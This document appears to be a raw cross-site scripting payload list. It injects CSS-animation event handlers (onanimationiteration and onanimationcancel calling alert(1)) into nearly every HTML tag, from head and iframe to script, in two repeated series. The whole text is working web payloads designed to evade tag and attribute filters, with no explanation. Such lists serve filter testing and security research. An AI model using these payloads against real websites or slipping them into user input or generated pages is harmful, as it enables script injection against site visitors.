<style>@keyframes slidein {}</style><head style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></head> <style>@keyframes slidein {}</style><hgroup style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></hgroup> <style>@keyframes slidein {}</style><hr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></hr> <style>@keyframes slidein {}</style><html style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></html> <style>@keyframes slidein {}</style><iframe style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></iframe> <style>@keyframes slidein {}</style><image style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></image> <style>@keyframes slidein {}</style><img style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></img> <style>@keyframes slidein {}</style><input style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></input> <style>@keyframes slidein {}</style><ins style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></ins> <style>@keyframes slidein {}</style><isindex style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></isindex> <style>@keyframes slidein {}</style><i style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></i> <style>@keyframes slidein {}</style><kbd style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></kbd> <style>@keyframes slidein {}</style><keygen style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></keygen> <style>@keyframes slidein {}</style><label style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></label> <style>@keyframes slidein {}</style><legend style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></legend> <style>@keyframes slidein {}</style><link style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></link> <style>@keyframes slidein {}</style><listing style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></listing> <style>@keyframes slidein {}</style><li style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></li> <style>@keyframes slidein {}</style><main style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></main> <style>@keyframes slidein {}</style><map style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></map> <style>@keyframes slidein {}</style><mark style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></mark> <style>@keyframes slidein {}</style><marquee style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></marquee> <style>@keyframes slidein {}</style><menuitem style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></menuitem> <style>@keyframes slidein {}</style><menu style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></menu> <style>@keyframes slidein {}</style><meta style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></meta> <style>@keyframes slidein {}</style><meter style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></meter> <style>@keyframes slidein {}</style><multicol style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></multicol> <style>@keyframes slidein {}</style><nav style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></nav> <style>@keyframes slidein {}</style><nextid style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></nextid> <style>@keyframes slidein {}</style><nobr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></nobr> <style>@keyframes slidein {}</style><noembed style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></noembed> <style>@keyframes slidein {}</style><noframes style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></noframes> <style>@keyframes slidein {}</style><noscript style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></noscript> <style>@keyframes slidein {}</style><object style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></object> <style>@keyframes slidein {}</style><ol style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></ol> <style>@keyframes slidein {}</style><optgroup style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></optgroup> <style>@keyframes slidein {}</style><option style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></option> <style>@keyframes slidein {}</style><output style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></output> <style>@keyframes slidein {}</style><param style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></param> <style>@keyframes slidein {}</style><picture style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></picture> <style>@keyframes slidein {}</style><plaintext style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></plaintext> <style>@keyframes slidein {}</style><pre style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></pre> <style>@keyframes slidein {}</style><progress style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></progress> <style>@keyframes slidein {}</style><p style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></p> <style>@keyframes slidein {}</style><q style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></q> <style>@keyframes slidein {}</style><rb style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></rb> <style>@keyframes slidein {}</style><rp style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></rp> <style>@keyframes slidein {}</style><rtc style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></rtc> <style>@keyframes slidein {}</style><rt style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></rt> <style>@keyframes slidein {}</style><ruby style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></ruby> <style>@keyframes slidein {}</style><samp style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></samp> <style>@keyframes slidein {}</style><script style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></script> <style>@keyframes slidein {}</style><section style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></section> <style>@keyframes slidein {}</style><select style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></select> <style>@keyframes slidein {}</style><shadow style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></shadow> <style>@keyframes slidein {}</style><slot style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></slot> <style>@keyframes slidein {}</style><small style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></small> <style>@keyframes slidein {}</style><source style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></source> <style>@keyframes slidein {}</style><spacer style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></spacer> <style>@keyframes slidein {}</style><span style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></span> <style>@keyframes slidein {}</style><s style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></s> <style>@keyframes slidein {}</style><strike style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></strike> <style>@keyframes slidein {}</style><strong style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></strong> <style>@keyframes slidein {}</style><style style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></style> <style>@keyframes slidein {}</style><sub style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></sub> <style>@keyframes slidein {}</style><summary style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></summary> <style>@keyframes slidein {}</style><sup style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></sup> <style>@keyframes slidein {}</style><svg style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></svg> <style>@keyframes slidein {}</style><table style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></table> <style>@keyframes slidein {}</style><tbody style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></tbody> <style>@keyframes slidein {}</style><td style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></td> <style>@keyframes slidein {}</style><template style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></template> <style>@keyframes slidein {}</style><textarea style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></textarea> <style>@keyframes slidein {}</style><tfoot style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></tfoot> <style>@keyframes slidein {}</style><thead style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></thead> <style>@keyframes slidein {}</style><th style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></th> <style>@keyframes slidein {}</style><time style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></time> <style>@keyframes slidein {}</style><title style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></title> <style>@keyframes slidein {}</style><track style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></track> <style>@keyframes slidein {}</style><tr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></tr> <style>@keyframes slidein {}</style><tt style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></tt> <style>@keyframes slidein {}</style><ul style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></ul> <style>@keyframes slidein {}</style><u style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></u> <style>@keyframes slidein {}</style><var style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></var> <style>@keyframes slidein {}</style><video style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></video> <style>@keyframes slidein {}</style><wbr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></wbr> <style>@keyframes slidein {}</style><xmp style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xmp> <style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xss> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><abbr id=x style="position:absolute;" onanimationcancel="alert(1)"></abbr> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><acronym id=x style="position:absolute;" onanimationcancel="alert(1)"></acronym> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><address id=x style="position:absolute;" onanimationcancel="alert(1)"></address> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><a id=x style="position:absolute;" onanimationcancel="alert(1)"></a> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><applet id=x style="position:absolute;" onanimationcancel="alert(1)"></applet> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><area id=x style="position:absolute;" onanimationcancel="alert(1)"></area> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><article id=x style="position:absolute;" onanimationcancel="alert(1)"></article> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><aside id=x style="position:absolute;" onanimationcancel="alert(1)"></aside> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><audio id=x style="position:absolute;" onanimationcancel="alert(1)"></audio> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><basefont id=x style="position:absolute;" onanimationcancel="alert(1)"></basefont> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><base id=x style="position:absolute;" onanimationcancel="alert(1)"></base> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><bdi id=x style="position:absolute;" onanimationcancel="alert(1)"></bdi> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><bdo id=x style="position:absolute;" onanimationcancel="alert(1)"></bdo> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><bgsound id=x style="position:absolute;" onanimationcancel="alert(1)"></bgsound> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><b id=x style="position:absolute;" onanimationcancel="alert(1)"></b> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><big id=x style="position:absolute;" onanimationcancel="alert(1)"></big> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><blink id=x style="position:absolute;" onanimationcancel="alert(1)"></blink> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><blockquote id=x style="position:absolute;" onanimationcancel="alert(1)"></blockquote> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><body id=x style="position:absolute;" onanimationcancel="alert(1)"></body> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><br id=x style="position:absolute;" onanimationcancel="alert(1)"></br> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><button id=x style="position:absolute;" onanimationcancel="alert(1)"></button> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><canvas id=x style="position:absolute;" onanimationcancel="alert(1)"></canvas> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><caption id=x style="position:absolute;" onanimationcancel="alert(1)"></caption> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><center id=x style="position:absolute;" onanimationcancel="alert(1)"></center> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><cite id=x style="position:absolute;" onanimationcancel="alert(1)"></cite> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><code id=x style="position:absolute;" onanimationcancel="alert(1)"></code> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><colgroup id=x style="position:absolute;" onanimationcancel="alert(1)"></colgroup> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><col id=x style="position:absolute;" onanimationcancel="alert(1)"></col> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><command id=x style="position:absolute;" onanimationcancel="alert(1)"></command> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><content id=x style="position:absolute;" onanimationcancel="alert(1)"></content> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><data id=x style="position:absolute;" onanimationcancel="alert(1)"></data> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><datalist id=x style="position:absolute;" onanimationcancel="alert(1)"></datalist> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dd id=x style="position:absolute;" onanimationcancel="alert(1)"></dd> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><del id=x style="position:absolute;" onanimationcancel="alert(1)"></del> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><details id=x style="position:absolute;" onanimationcancel="alert(1)"></details> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dfn id=x style="position:absolute;" onanimationcancel="alert(1)"></dfn> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dialog id=x style="position:absolute;" onanimationcancel="alert(1)"></dialog> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dir id=x style="position:absolute;" onanimationcancel="alert(1)"></dir> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><div id=x style="position:absolute;" onanimationcancel="alert(1)"></div> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dl id=x style="position:absolute;" onanimationcancel="alert(1)"></dl> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dt id=x style="position:absolute;" onanimationcancel="alert(1)"></dt> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><element id=x style="position:absolute;" onanimationcancel="alert(1)"></element> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><embed id=x style="position:absolute;" onanimationcancel="alert(1)"></embed> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><em id=x style="position:absolute;" onanimationcancel="alert(1)"></em> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><fieldset id=x style="position:absolute;" onanimationcancel="alert(1)"></fieldset> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><figcaption id=x style="position:absolute;" onanimationcancel="alert(1)"></figcaption> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><figure id=x style="position:absolute;" onanimationcancel="alert(1)"></figure> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><font id=x style="position:absolute;" onanimationcancel="alert(1)"></font> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><footer id=x style="position:absolute;" onanimationcancel="alert(1)"></footer> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><form id=x style="position:absolute;" onanimationcancel="alert(1)"></form> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><frame id=x style="position:absolute;" onanimationcancel="alert(1)"></frame> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><frameset id=x style="position:absolute;" onanimationcancel="alert(1)"></frameset> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><h1 id=x style="position:absolute;" onanimationcancel="alert(1)"></h1> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><header id=x style="position:absolute;" onanimationcancel="alert(1)"></header> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><head id=x style="position:absolute;" onanimationcancel="alert(1)"></head> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><hgroup id=x style="position:absolute;" onanimationcancel="alert(1)"></hgroup> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><hr id=x style="position:absolute;" onanimationcancel="alert(1)"></hr> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><html id=x style="position:absolute;" onanimationcancel="alert(1)"></html> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><iframe id=x style="position:absolute;" onanimationcancel="alert(1)"></iframe> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><i id=x style="position:absolute;" onanimationcancel="alert(1)"></i> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><image id=x style="position:absolute;" onanimationcancel="alert(1)"></image> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><img id=x style="position:absolute;" onanimationcancel="alert(1)"></img> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><input id=x style="position:absolute;" onanimationcancel="alert(1)"></input> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><ins id=x style="position:absolute;" onanimationcancel="alert(1)"></ins> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><isindex id=x style="position:absolute;" onanimationcancel="alert(1)"></isindex> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><kbd id=x style="position:absolute;" onanimationcancel="alert(1)"></kbd> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><keygen id=x style="position:absolute;" onanimationcancel="alert(1)"></keygen> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><label id=x style="position:absolute;" onanimationcancel="alert(1)"></label> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><legend id=x style="position:absolute;" onanimationcancel="alert(1)"></legend> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><li id=x style="position:absolute;" onanimationcancel="alert(1)"></li> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><link id=x style="position:absolute;" onanimationcancel="alert(1)"></link> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><listing id=x style="position:absolute;" onanimationcancel="alert(1)"></listing> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><main id=x style="position:absolute;" onanimationcancel="alert(1)"></main> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><map id=x style="position:absolute;" onanimationcancel="alert(1)"></map> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><mark id=x style="position:absolute;" onanimationcancel="alert(1)"></mark> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><marquee id=x style="position:absolute;" onanimationcancel="alert(1)"></marquee> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><menu id=x style="position:absolute;" onanimationcancel="alert(1)"></menu> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><menuitem id=x style="position:absolute;" onanimationcancel="alert(1)"></menuitem> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><meta id=x style="position:absolute;" onanimationcancel="alert(1)"></meta> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><meter id=x style="position:absolute;" onanimationcancel="alert(1)"></meter> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><multicol id=x style="position:absolute;" onanimationcancel="alert(1)"></multicol> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><nav id=x style="position:absolute;" onanimationcancel="alert(1)"></nav> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><nextid id=x style="position:absolute;" onanimationcancel="alert(1)"></nextid> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><nobr id=x style="position:absolute;" onanimationcancel="alert(1)"></nobr> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><noembed id=x style="position:absolute;" onanimationcancel="alert(1)"></noembed> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><noframes id=x style="position:absolute;" onanimationcancel="alert(1)"></noframes> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><noscript id=x style="position:absolute;" onanimationcancel="alert(1)"></noscript> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><object id=x style="position:absolute;" onanimationcancel="alert(1)"></object> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><ol id=x style="position:absolute;" onanimationcancel="alert(1)"></ol> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><optgroup id=x style="position:absolute;" onanimationcancel="alert(1)"></optgroup> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><option id=x style="position:absolute;" onanimationcancel="alert(1)"></option> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><output id=x style="position:absolute;" onanimationcancel="alert(1)"></output> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><param id=x style="position:absolute;" onanimationcancel="alert(1)"></param> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><picture id=x style="position:absolute;" onanimationcancel="alert(1)"></picture> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><p id=x style="position:absolute;" onanimationcancel="alert(1)"></p> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><plaintext id=x style="position:absolute;" onanimationcancel="alert(1)"></plaintext> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><pre id=x style="position:absolute;" onanimationcancel="alert(1)"></pre> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><progress id=x style="position:absolute;" onanimationcancel="alert(1)"></progress> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><q id=x style="position:absolute;" onanimationcancel="alert(1)"></q> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><rb id=x style="position:absolute;" onanimationcancel="alert(1)"></rb> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><rp id=x style="position:absolute;" onanimationcancel="alert(1)"></rp> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><rtc id=x style="position:absolute;" onanimationcancel="alert(1)"></rtc> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><rt id=x style="position:absolute;" onanimationcancel="alert(1)"></rt> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><ruby id=x style="position:absolute;" onanimationcancel="alert(1)"></ruby> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><samp id=x style="position:absolute;" onanimationcancel="alert(1)"></samp> <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><script id=x style="position:absolute;" onanimationcancel="alert(1)"></script> 